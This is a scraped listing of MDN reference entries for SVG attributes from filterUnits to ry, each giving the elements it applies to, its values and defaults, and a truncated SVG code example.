only one element is using this attribute: <filter> usage notes value userspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse x, y, width and height represent values in the current coordinate system that results from taking the current user coordinate system in place at the time when the <filter> element is referenced (i.e., the user coordinate system for the element referencing the <filter> element via a filter attribute).
font-style - SVG: Scalable Vector Graphics
the font-style attribute specifies whether the text is to be rendered using a normal, italic, or oblique face.
font-variant - SVG: Scalable Vector Graphics
the font-variant attribute indicates whether the text is to be rendered using variations of the fontʼs glyphs.
format - SVG: Scalable Vector Graphics
WebSVGAttributeformat
two elements are using this attribute: <altglyph> and <glyphref> context notes value <string> default value none animatable no <string> this value specifies the format of the given font.
fr - SVG: Scalable Vector Graphics
WebSVGAttributefr
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="25%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r="100" fil...
from - SVG: Scalable Vector Graphics
WebSVGAttributefrom
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" height="100"> <animate attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable ...
fx - SVG: Scalable Vector Graphics
WebSVGAttributefx
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.75" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r="...
fy - SVG: Scalable Vector Graphics
WebSVGAttributefy
only one element is using this attribute: <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient1" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> <radialgradient id="gradient2" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.75" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient1)" /> <circle cx="100" cy="100" r="...
g1 - SVG: Scalable Vector Graphics
WebSVGAttributeg1
two elements are using this attribute: <hkern> and <vkern> context notes value <name># default value none animatable no <name># this value indicates a comma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible first glyphs in the kerning pair.
g2 - SVG: Scalable Vector Graphics
WebSVGAttributeg2
two elements are using this attribute: <hkern> and <vkern> context notes value <name># default value none animatable no <name># this value indicates a comma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible second glyphs in the kerning pair.
glyph-name - SVG: Scalable Vector Graphics
only one element is using this attribute: <glyph> context notes value <name># default value none animatable no <name># this value specifies a comma-separated list of names for the glyph.
glyphRef - SVG: Scalable Vector Graphics
two elements are using this attribute: <altglyph> and <glyphref> usage notes value <string> default value none animatable yes <string> this value represents the glyph identifier.
gradientTransform - SVG: Scalable Vector Graphics
two elements are using this attribute: <lineargradient> and <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <radialgradient id="gradient1" gradientunits="userspaceonuse" cx="100" cy="100" r="100" fx="100" fy="100"> <stop offset="0%" stop-color="darkblue" /> <stop offset="50%" stop-color="skyblue" /> <stop offset="100%" stop-col...
hanging - SVG: Scalable Vector Graphics
WebSVGAttributehanging
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs.
height - SVG: Scalable Vector Graphics
WebSVGAttributeheight
twenty five elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- with a height of 0 or less, nothing will be rendered --> <rect y="0" x="0" width="90" height="0"/> <rect y="0" x="100" width="90" height="60"/> <rect y="0" x="200" width="90" height="100%"/> </svg> ...
horiz-adv-x - SVG: Scalable Vector Graphics
three elements are using this attribute: <font>, <glyph>, and <missing-glyph> font for <font> elements, horiz-adv-x specifies the default horizontal advance of a glyph in horizontal orientation.
horiz-origin-x - SVG: Scalable Vector Graphics
only one element is using this attribute: <font> usage notes value <number> default value 0 animatable no <number> this value indicates the x-coordinate of the origin of a glyph for horizontally oriented text.
horiz-origin-y - SVG: Scalable Vector Graphics
only one element is using this attribute: <font> usage notes value <number> default value 0 animatable no <number> this value indicates the x-coordinate of the origin of a glyph for horizontally oriented text.
id - SVG: Scalable Vector Graphics
WebSVGAttributeid
all elements are using this attribute.
ideographic - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs.
intercept - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" intercept="0"/> <fefuncg type="linear" intercept...
k - SVG: Scalable Vector Graphics
WebSVGAttributek
two elements are using this attribute: <hkern> and <vkern> context notes value <number> default value none animatable no <number> this value indicates the amount for decreasing the spacing between the two glyphs in the kerning pair.
k1 - SVG: Scalable Vector Graphics
WebSVGAttributek1
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y...
k2 - SVG: Scalable Vector Graphics
WebSVGAttributek2
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="1" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="10" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y...
k3 - SVG: Scalable Vector Graphics
WebSVGAttributek3
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="1" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="10" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y...
k4 - SVG: Scalable Vector Graphics
WebSVGAttributek4
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0.3" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0"...
kernelMatrix - SVG: Scalable Vector Graphics
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 1 0 0 0 0 0 0 -1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="-1 0 0 0 0 0 0 0 1"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_c...
kernelUnitLength - SVG: Scalable Vector Graphics
three elements are using this attribute: <feconvolvematrix>, <fediffuselighting>, and <fespecularlighting> feconvolvematrix for the <feconvolvematrix>, kernelunitlength indicates the intended distance in current filter units (i.e., units as determined by the value of primitiveunits attribute) between successive columns and rows, respectively, in the kernelmatrix.
keyPoints - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="motionpath"/> <circle cx="10" cy="110" r="3" fill="lightgrey"/> <circle cx="110" cy="10" r="3" fill="lightgrey"/> <circle r="5" fill="red"> <animatemotion dur="3s" repeatcount="indefinite" keypoints="0;0.5;1" keytimes="0;0.15;1" calcmode="linear"> <mpath xlink:href="#motionpath"/> </animatemotion> </circle> <...
keySplines - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" calcmode="spline" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keyspline...
keyTimes - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" ...
lang - SVG: Scalable Vector Graphics
WebSVGAttributelang
all elements are using this attribute.
lighting-color - SVG: Scalable Vector Graphics
two elements are using this attribute: <fediffuselighting> and <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="white"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="blue"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighti...
limitingConeAngle - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="spotlight1" x="0" y="0" width="100%" height="100%"> <fediffuselighting diffuseconstant="2"> <fespotlight x="10" y="10" z="50" pointsatx="100" pointsaty="100" limitingconeangle="10" /> </fediffuselighting> </filter> <filter id="spotlight2" x="0" y="0" width="100%" height="100%"> <f...
local - SVG: Scalable Vector Graphics
WebSVGAttributelocal
only one element is using this attribute: <color-profile> usage notes value <string> default value none animatable no <string> this value specifies the unique id for a locally stored color profile as specified by international color consortium.
markerHeight - SVG: Scalable Vector Graphics
only one element is using this attribute: <marker> usage notes value <length-percentage> | <number> default value 3 animatable yes <length-percentage> this value defines either an absolute or a relative height of the marker.
markerWidth - SVG: Scalable Vector Graphics
only one element is using this attribute: <marker> usage notes value <length-percentage> | <number> default value 3 animatable yes <length-percentage> this value defines either an absolute or a relative width of the marker.
maskContentUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <mask> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask1" maskcontentunits="userspaceonuse"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <mask id="mymask2" maskcontentunits="objectboundingbox"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx=".5" cy=".5" r=".35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> ...
maskUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <mask> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask1" maskunits="userspaceonuse" x="20%" y="20%" width="60%" height="60%"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <mask id="mymask2" maskunits="objectboundingbox" x="20%" y="20%" width="60%" height="60%"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y="...
mathematical - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value indicates the alignment coordinate for the glyphs.
max - SVG: Scalable Vector Graphics
WebSVGAttributemax
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" max="6s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" max="6s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value none animatable no <clock-value> specifies ...
media - SVG: Scalable Vector Graphics
WebSVGAttributemedia
only one element is using this attribute: <style> html, body, svg { height: 100%; } <svg viewbox="0 0 240 220" xmlns="http://www.w3.org/2000/svg"> <style> rect { fill: black; } </style> <style media="all and (min-width: 600px)"> rect { fill: seagreen; } </style> <text y="15">resize the window to see the effect</text> <rect y="20" width="200" height="200" /> </svg> usage notes value <media-query-list> default value all animatable yes <media-query-list> this value holds a media query that needs to match in order for the style sheet to be applied.
method - SVG: Scalable Vector Graphics
WebSVGAttributemethod
only one element is using this attribute: <textpath> textpath for <textpath>, method indicates the method by which text should be rendered along the path.
min - SVG: Scalable Vector Graphics
WebSVGAttributemin
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" min="2s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" min="2s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value 0 animatable no <clock-value> specifies the...
mode - SVG: Scalable Vector Graphics
WebSVGAttributemode
only one element is using this attribute: <feblend> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="blending1" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> <filter id="blending2" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="color-dodge"/> </filter> <image xlink:href="//developer.
name - SVG: Scalable Vector Graphics
WebSVGAttributename
two elements are using this attribute: <color-profile> and <font-face-name> color-profile for <color-profile>, name defines the name of the color profile.
numOctaves - SVG: Scalable Vector Graphics
only one element is using this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="1" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="3" /> </filter> ...
onclick - SVG: Scalable Vector Graphics
WebSVGAttributeonclick
thirty-seven elements are using this attribute: <a>, <altglyph>, <animate>, <animatemotion>, <animatetransform>, <circle>, <defs>, <desc>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <lineargradient>, <marker>, <metadata>, <mpath>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <script>, <set>, <stop>, <style>, <svg>, <switch>, <symbol>, <text>, <textpath>, <title>, <tref>, <tspan>, <use>, <view> html, body, svg { height: 100%; margin: 0; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" onclick="alert('you have clicked the circle.')" /> </svg> usage notes value <anything> default value none ...
order - SVG: Scalable Vector Graphics
WebSVGAttributeorder
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="emboss1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="3"/> </filter> <filter id="emboss2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -4" order="1 1 1"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#emboss1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#embo...
orient - SVG: Scalable Vector Graphics
WebSVGAttributeorient
only one element is using this attribute: <marker> html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="arrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <marker id="dataarrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="-65deg"> <path d="m 0 0 l 10 5 l 0 10 z" fill="red" /> </marker> </defs> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> <po...
orientation - SVG: Scalable Vector Graphics
only one element is using this attribute: <glyph> usage notes value h | v default value none (meaning glyph can be used for both text directions) animatable yes h this value indicates that the glyph is only used for a horizontal text direction.
origin - SVG: Scalable Vector Graphics
WebSVGAttributeorigin
only one element is using this attribute: <animatemotion> context notes value default default value default animatable no specifications specification status comment svg animations level 2the definition of 'origin' in that specification.
paint-order - SVG: Scalable Vector Graphics
for example, using stroke is equivalent to stroke fill markers.
panose-1 - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <integer>{10} default value 0 0 0 0 0 0 0 0 0 0 animatable no <integer>{10} this value specifies a panose-1 number and consists of ten decimal integers, separated by whitespace.
path - SVG: Scalable Vector Graphics
WebSVGAttributepath
two elements are using this attribute: <animatemotion> and <textpath> html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path id="mypath" fill="none" stroke="silver" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <text> <textpath path="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50"> quick brown fox jumps over the lazy dog.
patternContentUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- a pattern tile that content coordinates and values are computed against the current coordinate user space.
patternUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- all geometry properties are relative to the current user space --> <pattern id="p1" x="12.5" y="12.5" width="25" height="25" patternunits="userspaceonuse"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- all geometry properties are relative to the target bounding box --> <pattern id="p2" x=".125" y=".125" width=".25" height=".25" patternunits="objectboundingbox"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- left square with user space tiles --> <rect x="10" y="10"...
points - SVG: Scalable Vector Graphics
WebSVGAttributepoints
two elements are using this attribute: <polyline>, and <polygon> html,body,svg { height:100% } <svg viewbox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> <!-- polygon is a closed shape --> <polygon stroke="black" fill="none" transform="translate(100,0)" points="50,0 21,90 98,35 2,35 79,90"/> <!-- it is usualy considered best practices to separate a x and y coordinate with a comma and a group of coordinates by a ...
pointsAtX - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200"...
pointsAtY - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200"...
pointsAtZ - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="100" y="100" z="50" pointsatz="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="10...
preserveAlpha - SVG: Scalable Vector Graphics
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="true"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 -1 2 0 0 0 0 0 -2" preservealpha="false"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn...
preserveAspectRatio - SVG: Scalable Vector Graphics
elements seven elements are using this attribute: <svg>, <symbol>, <image>, <feimage>, <marker>, <pattern>, and <view>.
primitiveUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <filter> usage notes value userspaceonuse | objectboundingbox default value userspaceonuse animatable yes userspaceonuse this value indicates that any length values within the filter definitions represent values in the current user coordinate system in place at the time when the <filter> element is referenced (i.e., the user coordinate system for the element referencing the <filter> element via a filter attribute).
refX - SVG: Scalable Vector Graphics
WebSVGAttributerefX
two elements are using this attribute: <marker> and <symbol> marker for <marker>, refx defines the x coordinate of the marker’s reference point, which is to be placed exactly at the marker’s position on the shape.
refY - SVG: Scalable Vector Graphics
WebSVGAttributerefY
two elements are using this attribute: <marker> and <symbol> marker for <marker>, refy defines the y coordinate of the marker’s reference point, which is to be placed exactly at the marker’s position on the shape.
rendering-intent - SVG: Scalable Vector Graphics
only one element is using this attribute: <color-profile> usage notes value auto | perceptual | relative-colorimetric | saturation | absolute-colorimetric default value auto animatable yes auto this value allows the user agent to determine the best intent based on the content type.
repeatCount - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="5"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> </svg> usage notes value <number> | indefinite default value none animatable no <number> this value specifies the numbe...
repeatDur - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="5s"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatdur="indefinite"/> </rect> </svg> usage notes value <clock-value> | indefinite default values none animatable no <clock-value> this value specifies the ...
restart - SVG: Scalable Vector Graphics
WebSVGAttributerestart
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } a { fill: blue; text-decoration: underline; cursor: pointer; } <svg viewbox="0 0 220 200" xmlns="http://www.w3.org/2000/svg"> <rect y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="always" /> </rect> <rect x="120" y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" restart="whennotactive"/> </rect> <a id="restart"><text y="20">restart animation</text></a> </svg> document.get...
result - SVG: Scalable Vector Graphics
WebSVGAttributeresult
seventeen elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, and <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <fi...
rx - SVG: Scalable Vector Graphics
WebSVGAttributerx
two elements are using this attribute: <ellipse>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="50" cy="50" rx="0" ry="25" /> <ellipse cx="150" cy="50" rx="25" ry="25" /> <ellipse cx="250" cy="50" rx="50" ry="25" /> <rect x="20" y="120" width="60" height="60" rx="0" ry="15"/> <rect x="120" y="120" width="60" height="60" rx="15" ry="15"/> <rect x="220" y="120" width="60" height="60" rx="150" ry="15"/> </svg> ellipse for <ellipse>, rx defines the x-radius of the shape.
ry - SVG: Scalable Vector Graphics
WebSVGAttributery
